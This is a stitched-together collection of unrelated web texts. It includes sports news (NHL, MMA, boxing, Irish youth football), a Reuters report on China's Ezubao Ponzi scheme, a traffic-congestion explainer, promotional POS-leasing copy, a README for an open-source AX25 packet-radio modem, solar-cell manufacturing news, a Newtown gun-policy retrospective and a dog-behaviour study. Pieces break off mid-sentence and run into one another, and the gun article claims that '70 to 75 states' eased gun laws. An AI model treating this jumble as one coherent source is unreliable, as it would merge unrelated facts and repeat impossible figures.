Nonetheless, “Paintings of Cole” is easily the best movie of the year. I’m saying this only in the hope that the studio might print my name after a blurb on the movie poster. And I’ve always wanted to have my name on a movie poster. How cool would that be? Like, back in New Jersey, Jenny Kramer will be at her local multiplex, and she’ll see my name on the poster for “Paintings of Cole” and be, like, “His opinion is on a movie poster! I should call him and ask for his opinion about sleeping with me.” Then we actually would sleep together. And she would give me a great review. ♦After surviving 35 years, dozens of languages, hundreds of projects, thousands of |
escapades after the game," were captured in since-deleted videos on Snapchat. NHL.com's Joe Yerdon sympathized with Kane to a certain extent:
Kane also posted two photos from Toronto to his Instagram account:
Bylsma Comments on Kane Attending All-Star Game
Monday, Feb. 15
Sabres head coach Dan Bylsma said Kane's attendance of the All-Star Game wasn't an issue, but it became one when he failed to arrive at practice, per Paul Hamilton of WGR 550: "We got out of here at 3:30 (p.m. ET) yesterday, so yes, he could've made it to the game just fine and back."
Kane Enjoying Up-and-Down Career
This isn't the first time in Kane's career he was a healthy scratch for a regular-season game. Sportsnet's Evan Peaslee recounted a number of his various indiscretions last February, when the Winnipeg Jets traded him to Buffalo.
Around this time last year, Kane missed a game following an altercation with Dustin Byfuglien, which involved Byfuglien throwing his clothes in a shower.
In December, Buffalo police launched an investigation into allegations of a sex offense committed by Kane, a claim which he quickly denied.
In terms of performance, Kane has more than delivered for the Sabres. He has scored 16 goals and assisted on eight more in 47 games. However, his troubles off the ice continue to overshadow his contributions on it.Cole Miller has pulled out of his July 19th showdown with Conor McGregor after doing damage to the ligaments in his thumb in training and UFC have brought in dangerous Brazilian Diego Brandao to take the American’s place in Dublin’s 02 Arena.
McGregor’s coach John Kavanagh shared his thoughts on the injury, just a week after his welterweight Gunnar Nelson’s co-main event opponent changed from undefeated Ryan LaFlare to American, Zak Cummings.
“These things happen, MMA it a tough sport and the training is very hard, in fact the training is even tougher than the fight,” said Kavanagh. “There is an injury bug that plagues UFC and it comes down to the hours of contact and the impact of things like takedowns.
“I’m actually surprised it doesn’t happen more, but I wish Cole a very speedy recovery. He had an opportunity to main event at a UFC event here and I don’t think that will ever happen for him again. I imagine that he argued with his coaches and told them that he was fine. He definitely wanted the fight.”
As for the new matchup, Kavanagh believes Brandao serves as a far more intriguing counterpart for the Irish knockout artist.
“I think Diego Brandao makes for a much more interesting contest. He is a ranked UFC fighter, Cole isn’t. He has also won a series of The Ultimate Fighter, but I know he’s had his ups and downs. In saying that, losing to Dustin Poirier is nothing to be ashamed of. He’s only lost two times in his last nine fights and that’s very impressive at this level.
“He’s got knockout power and it’s not beyond the realms of possibility for Diego to get a title shot someday, I don’t think Cole Miller ever will. A victory for Conor against him is bigger than a win over Miller in my opinion,” he said.
Kavanagh, speaking from Iceland, also highlighted why he thinks Cummings poses a tougher test for Nelson than LaFlare.
“There’s no point in ignoring the fact that Gunni was originally meant to be fighting a fellow undefeated fighter, the whole ‘someone’s 0 has got to go’ was the selling point of that fight and we all know that Gunni likes to break people’s unbeaten streaks.
“I think Zak is a tougher, more experienced guy that LaFlare. He just beat another undefeated guy, Yan Cabral, and he is a very high-level jiu jitsu fighter. He’s similar enough to LaFlare, they’re both very good grapplers.
“I’m sure that both of the changes will have no real impact on the outcome for both Conor and Gunnar, I expect them both to finish their opponents in spectacular fashion,” he said.
Kavanagh also discussed why he believes the UFC will have trouble matching his fighters in the future.
“I don’t think anyone ever deliberately pulls out of a fight at this level. In the future, I think that the hardest thing will be finding willing opponents for my guys. There is not going to be a queue forming to fight Conor or Gunnar.
“They’re on a different level and fighters can see that when they watch them perform. When LaFlare pulled out I was told that a lot of top guys were asked if they wanted the fight and they wouldn’t take it. It’s just something we’re going to have to get used to,” he said.
@PetesyCarroll
Segments from this article originally appeared in the Irish Daily Mirror 5/6/2014The Ireland players celebrate at the final whistle in Grodzisk Wielkopolski.
The Ireland players celebrate at the final whistle in Grodzisk Wielkopolski.
IRELAND WILL COMPETE at this year’s Uefa U17 Championship after booking their place in the finals today.
Tom Mohan’s men went into the final set of fixtures in the Elite Phase qualifier in pole position having drawn 2-2 with Greece and beaten Belarus 3-1. They faced Poland knowing a combination of results would see them progress.
As it happened, Ireland lost 1-0 to Paweł Kaczmarczyk’s 10th-minute goal from close range but Greece’s 0-0 stalemate with Belarus means the Boys in Green go through as one of the seven best runners-up.
It was a hard battle and we would have loved to get a result but we’re delighted to progress to the finals,” said Mohan.
“It’s a massive group effort from staff, players – four lads couldn’t come here this week through injuries – but the lads on the pitch did fantastic work. Everybody has just been fantastic.”
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The finals take place in Bulgaria from 6-22 May.
IRELAND: Kelleher, O’Keeffe, Lunney (Stokes 41), Masterson, Leahy, Hanney, Barrett, Ronan, Clarke (Levingston 71), Wade-Slater (Elbouzedi 55), Aherne.In 2004, the American Highway Users Alliance dubbed the Katy Freeway in Houston, Texas, the second-most congested freeway in America, squandering 25 million hours of commuters’ lives every year.
Texas’ solution? Go big. Today, the freeway spans a whopping 23 lanes, and claims the title to the widest highway in the world. The AHUA applauded the “fixed” bottleneck in 2015.
Only problem: traffic’s gotten worse. It’s the principal of induced demand: adding lanes almost always adds traffic. If widening highways can’t solve Houston’s commuter woes, what can? A new film from the video-explainer extraordinaire Wendover Productions has five ideas—and one grave warning.
Ramp meters
Traffic slows exponentially—a small addition of cars can lead to a lot more congestion. But it also means removing a small amount of cars from the road can reduce congestion considerably. Ramp meters do allow one or two cars to enter a highway at a steady rate, keeping traffic speeds flowing at relatively efficient speed. They work: In 2001, Minnesota’s DOT switched off ramp meters to test their effectiveness. They found travel times slowed by 22 percent. “The ramp metering system produces an annual reduction of 2.6 million hours of unexpected delay,” a state report concluded.
Road pricing
Roads are among the most valuable assets in a city’s portfolio, but few cities price them that way. That’s too bad, since charging drivers to enter certain areas, at certain times, is the single-most effective congestion mitigation strategy cities have at their disclosure. Stockholm decreased travel times by about 40 percent in 2006 by charging drivers just a couple of bucks to enter its city center—London, Singapore, and Copenhagen have seen similar changes with their congestion pricing schemes.
Roundabouts
Solving traffic isn’t just about congestion—it’s also about safety. Replacing stop signs or signals with the circular anti-intersections can reduce serious crashes by up to 75 percent—and fatal collisions by up to 90 percent. (There is evidence that roundabouts increase less-serious crashes.) By slowing drivers down, eliminating left turns, and allowing traffic to flow uniformly, roundabouts are a engineering intervention to beat.BEIJING (Reuters) - Once China’s biggest peer-to-peer (P2P) lending platform, Ezubao collected 50 billion yuan ($7.6 billion) in less than two years from more than 900,000 investors through savvy marketing and the promise of big returns.
But executives at Ezubao’s parent company, Yucheng Group, now say it was “a complete Ponzi scheme”, which used investor funds to support a lavish lifestyle, the official Xinhua News Agency reported this week.
Among gifts that Yucheng Chairman Ding Ning gave his president, Zhang Min, were a $20 million Singapore villa, a $1.8 million pink diamond ring, luxury limousines and watches and more than $83 million in cash, Xinhua stated.
The alleged scam underscores the risks in China’s fast growing and loosely regulated wealth management product industry, with many products peddled through online financial investment platforms and privately run exchanges.
Products promising annual returns of up to 14 percent have drawn in investors at a time when savings rates are low and property is no longer a guaranteed get-rich-quick bet.
A report on China’s stock market crash authored last year by former senior officials, including former central bank vice governor Wu Xiaoling, said Chinese retail investors are short-sighted, have a weak investment philosophy and a herd mentality.
China’s P2P and the online finance industry also serve as a critical channel for the emerging small business and consumer market, which is often ignored by banks and mainstream financial institutions. iResearch predicts China’s unsecured consumer finance market alone will triple in size by 2019, reaching outstanding loans of over $1.7 trillion.
RISKY BUSINESS
By November, there were over 3,600 P2P platforms as the industry raised more than 400 billion yuan, according to the China Banking Regulatory Commission (CBRC). More than 1,000 of those were problematic, it said.
The consequences when these schemes fail can be devastating, said Yang Dong, vice-dean at Renmin Law School and an expert on finance and securities law. “The harm is obvious. It’s going to damage financial reforms, cause social unrest and destabilize the regime to some extent,” he told Reuters.
Yang said there needs to be more supervision at both a national and local level, with more staffing, funding and a central bank-led financial risk monitoring system capable of tracking Internet financial activity and flagging problems.
Last year, hundreds of angry investors protested on the streets in Beijing and Shanghai, saying they lost $6 billion from the Fanya Metals Exchange, which offered an investment product promising up to 14 percent annual return and the flexibility to deposit and withdraw money at will.
The CBRC published draft rules in December to oversee the P2P industry, banning the pooling of investor money, concealing risks of financial program and using fraudulent sales tactics. “Due to the lack of necessary regulation, many P2P platforms play in the area between legal and illegal, using Internet concepts to brand themselves, fraudulent advertising and illegal deposit-taking to hurt public interest,” it said.
WELCOME ABOARD ‘TRAIN EZUBAO’
At Ezubao, Ding collected a monthly salary of 1 million yuan, and admitted on state television to spending an estimated 1.5 billion yuan in Ezubao funds on himself.
“We fabricated projects to raise money,” he said, adding Ezubao used project companies to re-circulate money back into accounts linked to his companies, Xinhua reported. Yong Lei, head of risk management at Yucheng’s financial leasing company, said 95 percent of projects on Ezubao were fake.
Ding asked dozens of his secretaries to dress only in Chanel, Gucci and other luxury branded clothing to make the company appear highly successful. Zhang, the group president who was marketed as “the most beautiful executive in online finance”, said on state broadcaster CCTV that Ding asked her to buy up everything from every Louis Vuitton and Hermès store in China, “and go overseas to buy more if that wasn’t enough.”
Ezubao investors contacted by Reuters attributed their willingness to hand cash to the company to high-profile commercials on state-owned TV and a high-speed train named after “Ezubao” that ran between Beijing and Shanghai.
“When you got on the train, there was an announcement saying: ‘Welcome aboard Train Ezubao’,” said a company employee who said she lost about 100,000 yuan in the scheme.
When Ezubao’s fraud was detected late last year, executives buried 80 bags of documents in a 6 meter (near 20-foot) hole on the outskirts of Hefei in Anhui province, where the company started, Xinhua said.
“I feel terrible,” said another Ezubao investor surnamed Liu who said she invested 800,000 yuan. “I haven’t dared tell my husband yet.”The Congressional Executive Committee on China held a hearing on ‘Religion With “Chinese Characteristics”: Persecution and Control in Xi Jinping’s China’ on Thursday that looks at the deteriorating state of religious freedom in China and Tibetan regions. The Committee in its announcement for the hearing says that, the hearing will, “examine the restrictions faced by religious communities in China and will explore why protecting religious freedom matters for China’s future stability and prosperity. It will also seek recommendations for advancing this most basic of human rights, especially in the context of the scheduled September visit to Washington by President Xi.”
VOA Tibetan Service Chief Losang Gyatso in his testimony for the hearing informed he Committee on two developments in Tibet this July; the self-immolation protest by 26 year old monk Sonam Topgyal on July 9, and the controversial prison death of Tulku Tenzin Delek Rinpoche. Gyatso also provided an overview of the state of religious freedom in Tibet over the last six decades of rule by the People’s Republic of China.
The other witnesses for the hearing are Rebiya Kadeer: President, the World Uyghur Congress, Bob Fu: President and Founder, ChinaAid, Anastasia Lin: Actress, Human Rights Advocate, and Miss World Canada 2015
We are sorry, but this feature is currently not availablePOS equipment leasing pros and cons: for point of sale equipment leasing, there are certainly pros and cons associated that can influence the decisions and actions of POS equipment leasing parties.
As POS equipment items are going to be a necessity for many different kinds of retail and other types of commonplace consumer businesses, it makes a lot of sense to consider which are going to be the best and most beneficial ways of determining how to acquire these kinds of equipment items. With so many different viable options for a business owner to consider when they are preparing to acquire point of sale equipment items, it can sometimes be confusing for business owners who are trying to make the best possible decisions with regard to how they will acquire their equipment items. As with any equipment acquisition method, there are going to be POS equipment leasing pros and cons to consider in depth if your business is considering leasing as a possible means for acquiring equipment of a POS nature.
Since there is not a huge range of variability with regard to the technological and aesthetic nuances among today’s competing point of sale equipment products, the result of this is likely to be that costs for this kind of equipment acquisition are going to be relatively uniform across the board. Although this is the case, that does not imply that any acquisition method is going to produce the same results as the next one. Variability in terms of customer service, convenience, reliability, and other aspects of acquiring equipment are going to be factored into any acquisition method that a business may be considering.
Of course, it would be completely possible for your business to end up cash purchasing some if not all of your point of sale equipment items, however this is not likely to be the optimal solution to your equipment acquisition problems. For a number of different reasons, cash purchasing can tend to create more risk for your business than some other equipment acquisition methods would, such as leasing. The main reason that cash purchasing could likely have the potential to provide your business with an increased level of risk overall is that cash purchasing any volume of equipment is sure to deplete capital reserves much faster than leasing would. When the capital reserves of your business are depleted, your business will be in a position of risk since capital reserves can significantly help get a business though times of economic sluggishness or poor sales.
Making the decision to lease your POS equipment items, as opposed to cash purchasing them, can help to preserve your business’s reserves of capital, therefore making your business more resilient and resistant against sudden expenses that could jeopardize the economic and financial health of your business. For the benefit of prospective POS equipment leasing clients all over the world, some of the most relevant pros and cons of point of sale equipment leasing will now be shared in hopes that it will lead prospective lessees to making much more informed decisions.
POS Equipment Leasing Pros and Cons
One of the biggest and most significant positive aspects associated with point of sale equipment leasing is the fact that there is so much more flexibility associated with equipment leasing than there is with an acquisition method like cash purchasing. This flexibility is expressed in multiple different ways, but perhaps one of the most relevant and important ways is in terms of end of lease options. Unlike cash purchasing where there is absolutely no wiggle room in terms of the pricing and transaction stipulations, with leasing there are a number of different options pertaining to what will happen at the conclusion of a point of sale equipment leasing agreement.
One such option to consider is what will happen to the leased equipment items at the conclusion of a leasing term. This is going to be a choice that has the potential to be very important for a business, since the end of lease terms will essentially determine whether or not you will be keeping the equipment items when the lease is over. If yours is a business that plans on keeping the point of sale equipment items indefinitely, then a good option for you to consider would be the one dollar buyout lease which allows your business to make one final nominal lease payment at the conclusion of a lease agreement that solidifies your business’s ownership of those leased goods.
Another end of lease option for a business to consider might be the option to simply return the equipment items at the end of the lease term, effectively making room for your business to acquire newer, fresher POS equipment items. For those businesses that like to cycle out equipment frequently, this could be the better choice. Really the only negative aspects of leasing tend to come into play when a business fails to adequately finance their leasing agreement. Making sure you have thoroughly financed your lease is likely to mean the difference between a positive and negative experience with equipment leasing.
To learn more about POS equipment leasing pros and cons and how they can affect your business, simply CLICK HERE.
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commentsextmodem, an AX25 Open Source Soundcard Modem
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About
This is a modem for AFSK AX25 packet (1200 bps APRS compatible). It is under development and is currently capable to both send and receive packets. The main feature of this program is that it is currently running three different demodulators in parallel, increasing the quality of reception. The first modem is Thomas Sailer's multimon, the other two are described by Sivan Toledo in this QEX article.
Demodulator Quality
Since the core of the extmodem runs the same algorithm as javAX25, the number of demodulated packets should be better than soundmodem. However, since I'm lacking a propper performance test, this is just an opinion. You can read the javAX25 QEX article here.
AGWPE emulation
This program supports a preliminary version of the AGWPE protocol, effectively emulating its behaviour. It opens a TCP socket on port 8000, the AGWPE default.
KISS over TCP (aprx support)
extmodem opens by default a TCP socket on port 6666, enabling the use of aprx. To configure you should use the kiss-over-tcp feature of aprx:
<interface> tcp-device 127.0.0.1 6666 KISS callsign LU0EXT-1 tx-ok true </interface>
Virtual COMx port Emulation on Windows
VERY UNTESTED FEATURE, comments are most welcome
As shown above, extmodem opens by default a TCP socket on port 6666 that understand KISS protocol. If your packet program does not support AGWPE interface nor a TCP KISS interface you may use the com0com serial port COM emulator in conjunction with extmodem to enable the use of extmodem from a virtual serial COMx port.
Usage
You need to download com0com driver from here. This is an unsigned driver. If you are using Windows 7 you may need a signed driver, available here.
com2tcp is available here.
Once com0com and com2tcp installed, you need to run com2tcp.exe:
com2tcp \\.\CNCB0 127.0.0.1 6666
Help/Support
You can contact the project author at the extradio Google Group (English or Spanish is OK).
Using the software
Windows
I'm providing Windows binaries here: http://sourceforge.net/projects/extradio/files/extmodem/. Windows XP and Vista users may need the VC++2010 runtime, available here.
Linux
For Linux users, you can follow the instructions on the README file included in the source code distribution, available in the Git repository.
Downloads
Runtimes, drivers, etc
Source Code
The source code is available in a Github repository: extmodem
Alternatives
UZ7HO modem, not open source.
multimon, multimode (lots of!), rx only, just displays the packets on the screen.
soundmodem, multimode multiplatform (Windows, Linux) rx and tx AX25 packet radio.
javAX25, Java implementation described in this QEX article.
AGWPE, Windows only, may not work correctly on Vista+.
Licensing
The license is: GNU GPL v2+:
This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.
You can read the full license here.
APRS is a registered trademark of APRS Software and Bob Bruninga, WB4APR.
Author
Alejandro Santos (LU4EXT) is the author of extmodem, borrowing code from Thomas Sailer's multimon and Sivan Toledo's javAX25.An improved process for making solar cells could allow manufacturers to cut the amount of silicon needed in half. Since silicon can account for about three-quarters of the cost of conventional solar cells, this could significantly lower the price of solar power. The technique can reduce the amount of other materials used and improve solar-cell performance.
Clean energy: An ink-jet printer for making prototype solar cells at the National Renewable Energy Laboratory is encased in a glove box for experimental control. The printer can deposit a wide range of materials for solar cells with new levels of precision.
The process uses ink-jet printing to make electrical connections within a solar cell, replacing the existing screen-printing process. Because the ink-jet method is more precise, it can use less material for these connections. Also, because the printheads don’t make contact with the silicon, the method works with thinner silicon wafers. The process uses an ink-jet printer built by iTi Solar, based in Boulder, CO, that was originally designed for printing electronics, such as the contacts on touch screens.
The National Renewable Energy Laboratory (NREL), in Golden, CO, which helped direct the design of the device, is now starting to produce solar-cell prototypes using the technology. Since the ink-jet printer can be dropped into existing solar-cell manufacturing lines, it could be used in commercial production within a year, estimates Maikel van Hest, a scientist at NREL.
One of the first applications could be in the manufacture of silicon solar cells, the most common type of solar cell sold today. Silicon absorbs light and converts it into electrons, and then an array of silver lines printed on the silicon collects these electrons, creating an electrical current. In conventional manufacturing, these silver lines are printed using screen printing. The silver ink used in the new process is much more conductive than the silver paste used in screen printing, and ink-jet printing is more precise. As a result, much thinner lines can be printed–35 to 40 micrometers wide, compared with 100 to 125 micrometers wide with screen printing, van Hest says. Using less silver saves money. It also improves the performance of the solar cell since the thinner lines shade less of the active material.
Clean energy: An ink-jet printer for making prototype solar cells at the National Renewable Energy Laboratory.
The biggest advantage, van Hest says, is that ink-jet printing, unlike screen printing, does not involve applying pressure to the silicon wafer. That makes it possible to use far thinner wafers, he says. In conventional solar cells, the wafers are about 200 micrometers thick. “If you go any thinner than that, most of them will break” during manufacturing, van Hest says. “If you go to a noncontact method, you don’t have to worry about that. You can use cells as thin as a hundred micrometers, or even thinner. That means you can save 50 percent on the cost of silicon.” NREL decided to use iTi Solar’s printers, as opposed to those from other manufacturers, for two main reasons. The first is the accuracy of the system: the printers can apply ink with an accuracy of within 1 micrometer, as opposed to 10 to 15 micrometers with other systems, van Hest says. It’s also easy to adapt to working with different inks and different solar-cell technologies. The system could, for example, be used to manufacture thin-film solar cells made of semiconductors such as copper indium gallium (di)selenide (CIGS), employing inks that NREL has developed.
Ink-jet printing has been considered before for solar-cell manufacturing. “There initially was a lot of buzz about it–two years ago, everyone was talking about it,” says Bruce Morgan, iTi Solar’s CEO. “Then as the practical results were seen, people got discouraged.” He says the problem was that the printheads didn’t have high enough resolution, or companies didn’t understand the distortions in the materials that were being printed on. The initial results of the iTi Solar system suggest that it has solved these problems. “We’ve seen what it can do, and so far, it’s very impressive,” van Hest says.
The NREL system is designed to produce only prototype cells. Van Hest says that the technology can easily be scaled up, such as by increasing the number of printheads, to make many cells at once for commercial production.Boston College football great Doug Flutie announced the sudden loss of both of his parents Wednesday in an emotional Facebook post.
Flutie said his parents, Dick and Joan, died separately on Wednesday. His father, who had been ill, died in a hospital after a heart attack. His mother then had a sudden heart attack less than an hour later and died.
“They say you can die of a broken heart and I believe it,’’ Flutie wrote.
It is with a heavy heart that I am making this statement. This morning my family experienced the tragic loss of my... Posted by Doug Flutie on Wednesday, November 18, 2015
“I would like to honor my parents for all that they did throughout my and my brothers’ and sister’s lives,’’ he wrote. “My parents were always there for their children, from the days my Dad coached us as kids and my Mom would work the concession stands, through to this morning. The most important part of their 56 years of marriage was providing opportunities to their children.’’
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Flutie’s alma mater also showed their support with a tweet in honor of his parents.On Friday, one day before the first anniversary of the Newtown massacre, an 18-year-old entered a Colorado high school just ten miles from Columbine High, shot two people, and killed himself. It was a stark reminder that, one year after the shootings at Sandy Hook, there’s still plenty of senseless gun violence in the United States. Has the country, in any sense, dealt with our nation's gun problem in a responsible or effective manner? That depends on how you look at it.
Frequency of Mass Shootings
There’s no official definition of a “mass shooting,” largely because the word “mass” is vague. One could argue that anytime more than two people are shot in the same incident, it’s a mass shooting. But that’s very broad: does “mass” really mean “more than two?” The FBI defines a “mass murderer” as someone who kills four or more people, but to peg the definition to the amount of people would miss the many incidents — such as the first mass shooting of the year — wherein multiple people are shot, but not killed.
Reddit users at the Guns Are Cool subforum* have attempted to crowdsource every mass shooting in 2013, and in doing so, they defined a “mass shooting” as any incident wherein four or more people are shot. That sounds about right to us, although of course there’s no final word on this. The result of this effort — which is incredibly impressive and the only thing like it on the Internet — shows 349 mass shootings since the Jan. 1, 2013.
That comes out to just a shade under one mass shooting every day, a statistic that really requires no further elaboration.
Federal Response to Gun Violence
Mass shootings in America, then, are roughly as common as the sun rising.
Even by that standard, though, the nature of the Newtown killings seemed to be in a category unto itself, and many — including President Obama — had some hope that the episode would serve as a wake-up call to Congress. Obama responded by signing 23 executive actions on guns, but most of them were rather modest or vague, such as the directive to “nominate an ATF director.” Obama also assigned Vice President Biden to head up a task force on gun violence. Most importantly, though, Obama implored Congress to pass some — any — gun control legislation.
California Senator Dianne Feinstein pushed hard for an assault rifles ban (despite the fact that such a ban wouldn’t have prevented Newtown), but a policy requiring universal background checks seemed to hold the most promise of both passing Congress and having a tangible effect on gun violence. The hope was that if it was voted on soon enough after Newtown, the political will might just be strong enough to defy the National Rifle Association, and get the legislation passed.
But it wasn’t. The amendment neared the 60-vote threshold Senate Republicans had required in order for it to pass, but ultimately failed by five votes. The larger gun control bill to which it was attached also went nowhere, and House Republicans characteristically did nothing at all about the issue.
Congress has passed exactly zero pieces of gun control legislation since Newtown.
BoogieFinger on YouTube
How The States Strengthened Gun Control
But the federal government isn’t the only entity that can limit gun availability. Many governors and state representatives across the country felt the responsibility to act after Newtown, and in the last year, 109 new gun laws have been signed across the states. In theory, this is at least something gun control advocates can celebrate, but there’s a nasty flipside to state action on gun violence.
First, the good news: Over the last year. 21 states passed a total of 41 new gun control laws. Eighteen states plus the District of Columbia made it easier to track gun ownership; two increased restrictions on carrying guns in public, and a total of 13 states enacted some form of background checks legislation. According to a massive nationwide study by the Brady Campaign to Prevent Gun Violence and the Law Center To Prevent Gun Violence, gun laws were “significantly” strengthened in six states over the last year, and Mother Jones concluded that these new laws will affect roughly 189 million people, or more than half of the country.
These weren't just laws that directly regulated firearms. Many of them sought to improve the delivery of mental health services, which many argue is the real culprit behind many mass shootings. After Newtown, 37 states increased mental health care funding, and 15 passed laws making it harder for people with a history of mental illness to obtain and possess guns. That restriction now applies in 30 states. And on Tuesday, the vice president announced an additional $100 million in federal funding for mental health services.
How The States Weakened Gun Control
A lot of states, most but not all of them Republican-controlled, reacted to the prospect of new federal gun legislation by actually expanding gun access and weakening existing laws at the state level.
Between 70 and 75 states actually passed laws easing gun restrictions in 2013. In Utah, there's now a process by which people designated as mentally ill can ``get their gun licenses back." Since Newtown, nine states have made it easier to carry guns on school grounds, while eight have made it harder for the government to track guns. In total, 29 states eased gun restrictions in some way. Kansas and Alaska passed laws that, as written, direct state authorities to simply ignore federal gun laws, a constitutional question Attorney General Eric Holder has a mixed record in dealing with.
State politics usually gets less attention than national politics, but they also often has more of an affect on people’s lives. That’s most certainly true with gun laws over the past year, considering the national congress didn’t do anything.
Newton's Effect On Policymakers
How the country has responded to Newtown is important, but so is how the country will respond going forward. Ultimately, elected officials are the ones writing the laws, and so the effect that the last year has had on them could provide a clue as to what the future of gun laws may hold.
Frustratingly, it’s a mixed bag. On the one hand, several of the Senators who helped kill the background checks amendment became substantially less popular in their states after doing so. In a truly cowardly display, Senator Jeff Flake told a mother whose child was killed at Newtown that he supported background checks, then proceeded to vote against the bill. Shortly thereafter, his approval rating plummeted, and he dethroned Mitch McConnell as the least popular senator in the country. Alaska’s Lisa Murkowski, who also voted against the amendment, suffered a 16-point drop in popularity after the vote, and several other senators declined in popularity as well.
This suggests that voting against such broadly popular policy doesn’t come without consequences. Maybe, if background checks are ever proposed again, legislators will think twice before opposing them.
On the other hand, look at what happened in Colorado. John Hickenlooper, the state’s uber-liberal governor, announced a gun control push after the Aurora shootings last year, and the state pushed through a series of truly sweeping gun reforms this year.
But there was a cost to this victory: Two Democratic state senators, including the Senate president, were subsequently recalled from office after the NRA petitions against them. This shrank the Democratic majority in the state Senate to a single seat.
And that is precisely what the NRA, and other pro-gun groups, had intended to make clear with the recall petitions: That there’s a price for supporting gun control. In 2014, will that price outweigh the political, moral, and human cost of continuing to do nothing?MCALESTER – The Oklahoma Board of Corrections on Thursday named an interim Department of Corrections director who is a security and political consultant and the former director of the Federal Emergency Management Agency under President George W. Bush.
Until recently, Joe Allbaugh, 62, of Austin, Texas, also was a board director for a company that tests marijuana for licensed marijuana dealers in Colorado and Connecticut.
Allbaugh resigned from the board of CannLabs before accepting the corrections job Wednesday, a Corrections Department spokesman said. Securities and Exchange Commission filings show he owned 250,000 shares in the publicly traded company in June, but DOC spokesman Alex Gerszewski said he doesn’t know if Allbaugh still owns the shares.
Allbaugh will begin work Monday, said Board of Corrections Chairman Kevin Gross.
Allbaugh will replace former director Robert Patton, who recently stepped down in the wake of several botched executions that led to investigations.
Allbaugh does not have correctional experience, but Gross cited his political experience, work at FEMA and his later work in establishing Allbaugh International Group LLC, a Washington D.C.-based international security-consulting firm.
Allbaugh owns property near Blackwell, and is originally from Oklahoma, Gross said.
“I am honored by the board’s decision to select me as the interim director,” Allbaugh was quoted as saying in a news release from the Corrections Department. “I am excited to come back home and look forward to working with the legislators during the upcoming legislative session.”
In 1994, Allbaugh managed George W. Bush’s campaign for governor of Texas, and after Bush became governor, served as his chief of staff. He also managed Bush’s successful 2000 presidential campaign.
Bush appointed Allbaugh director of FEMA in 2001, before the Sept. 11 terrorist attacks, and he remained in the position until 2003, when FEMA was put under the U.S. Department of Homeland Security.
Allbaugh joined the board of CannLabs as one of four independent directors in 2014, the Denver Post reported. As of June 2015, Allbaugh owned 250,000 shares of CannLabs stock, according to SEC filings.
CannLabs provides to customers potency and other testing for “legalized medical or recreational cannabis along the their associated growers, dispensaries, manufacturers of edibles and others,” according to an SEC filing in October.
On its website, CannLabs describes itself as “the leading cannabis testing laboratory in the country. When you see the CannLabs seal, you know you are buying cannabis that has been tested beyond the required state mandates.”
Gerszewski said Allbaugh became interested in the therapeutic uses of marijuana after his wife’s battle with cancer. In a 2014 interview with the Texas Tribune, Allbaugh said he does not support recreational use of marijuana.
Calls to Allbaugh’s consultancy firm and Cannlabs were not returned late Thursday.
Cannabis sales in Oklahoma are outlawed. Oklahoma, through Attorney General Scott Pruitt, and Nebraska are suing Colorado for selling legalized cannabis. In a recent statement, Pruitt called Colorado’s pot operations a “cartel” and Colorado has |
," Hearn said. "It's hard to leave the U.K. with 75,000 to 90,000 people compared to what the U.S. is. But Anthony Joshua is a global brand. He's not British heavyweight champion; he's a world heavyweight champion. The key now is to get the win [Saturday], and then in the weeks that follow, put our plans together for 2018, and hopefully America is included in that."
Though Wilder is training for Stiverne, he said he plans to watch Joshua fight Saturday.
"Well, of course I'm going to look at it. I definitely look at the guys at the top of the division," Wilder said. "Anybody say they don't watch, then they're lying. Of course I'm going to look and see what's going on and see how this person did against this person, and so forth and so on."
Heavyweight titleholder Deontay Wilder, right, stopped Bermane Stiverne in Round 1 in the rematch. AP Photo/John Locher
Wilder very much wants to unify titles and face Joshua. He's not convinced that Joshua feels the same way, however.
"Joshua say he need more time; he ain't ready. He wants to put himself in a better position. But you already fought a guy [Klitschko] that got way more experience than I," Wilder said. "I don't understand this sport when it comes to me. It feels like I'm better off not being in this sport than being in it. I don't understand it. All this stuff has just been a buildup for me. But I can handle it well, though. I can handle it so well, and I can't wait. All this needs to be released. Unfortunately for Bermane Stiverne, come Nov. 4, it will be released."
And then, Wilder hopes, the fight with Joshua will be on deck. With victories -- and they are both huge favorites -- they will be unencumbered by mandatory defenses. It's certainly possible they could each have another fight first, but by the end of 2018 their fight should have marinated long enough.
"I just want to prove to the world that I am the best. That's all I want to do," Wilder said. "I don't care about who's the A side, who's the B side, where the fight's going to be. I don't care about that stuff, just me in the ring."
Joshua is unimpressed by Wilder's list of opponents thus far, but he knows their fight is the big one and what fans want to see. He said he is willing.
"Where I'm coming from is that in a career, it's all good going undefeated and looking good, but when it's all said and done, how are people going to remember you? [Wilder] hasn't had any memorable fights," Joshua said. "He needs a real remarkable fight to stamp his name in the history books of heavyweight boxing. He needs that more right now, especially being in America. This is the Mecca of boxing. I even need it. I need Wilder to have a remarkable fight. I need to be the one that steps up to make this dream a reality. I would be honored to go out there and compete with Wilder.
"I'll fight Wilder next year and make it a priority, 100 percent. There's no doubt about that."Many people now have dogs as pets. They share the same living environment, and sometimes it is easy to have human-dog conflicts. So how do dogs handle the conflicts?
A study recently conducted in Germany answered this question. Researchers examined the behavior of 22 privately owned dogs during two different situations.
In a frustrating situation, the experimenter withheld a dog treat for 3 min and did not interact with the dog. In a conditioning situation, the experimenter withheld the treat, but the dog could get the treat if it lay down.
Each dog was tested separately. In both situations, the dog owner unleashed the dog and just observed in the same room.
Researchers recorded and analyzed the dogs’ responses. In the frustrating situation, all dogs tried to get the food (71 sec /180 sec). When they could not, they stepped backwards and stood alert.
They also gazed at their owner (15 sec) and the experimenter (26 sec).
Eight dogs interacted with the owner. They sat or lay down next to the owner, or rubbing, nosing, and licking the owner for 10 sec. Nine dogs tried to interact with the experimenter, but they only tried for 2.5 sec.
In addition, 18 dogs tried to explore the room. They visually scanned the room, walked through it, and sniffed the floor.
In the conditioning situation, all dogs learnt the reinforced behavior (i.e. lying down) quite fast. They also tried to touch the experimenter’s closed hand.
Fifteen dogs stood alert in the beginning, but then lay down quickly as they got to know what they needed to do.
Half dogs gazed at the experimenter, but the gaze time was shorter as they learnt the behavior. Only a few dogs gazed at the their owner.
Researchers suggest that when there is a conflict (i.e. a person withholds food from a dog), the dog will first try to interact with the person. But as they learn how to get the food, they will shorten the interaction and use the fastest way.
If a conflict is hard to end, dogs will try to avoid the conflict. They will use some submissive behaviors, such as nose licking and lip licking. They will also stand alert and watch the person to expect that the situation becomes better.
There are other factors that can influence dogs’ behavior in human-dog conflicts. For example, food value can change before and after a dog has eaten its meal. In addition, if the owner misunderstands the dog, a conflict may be increased, and the dog may behave differently.
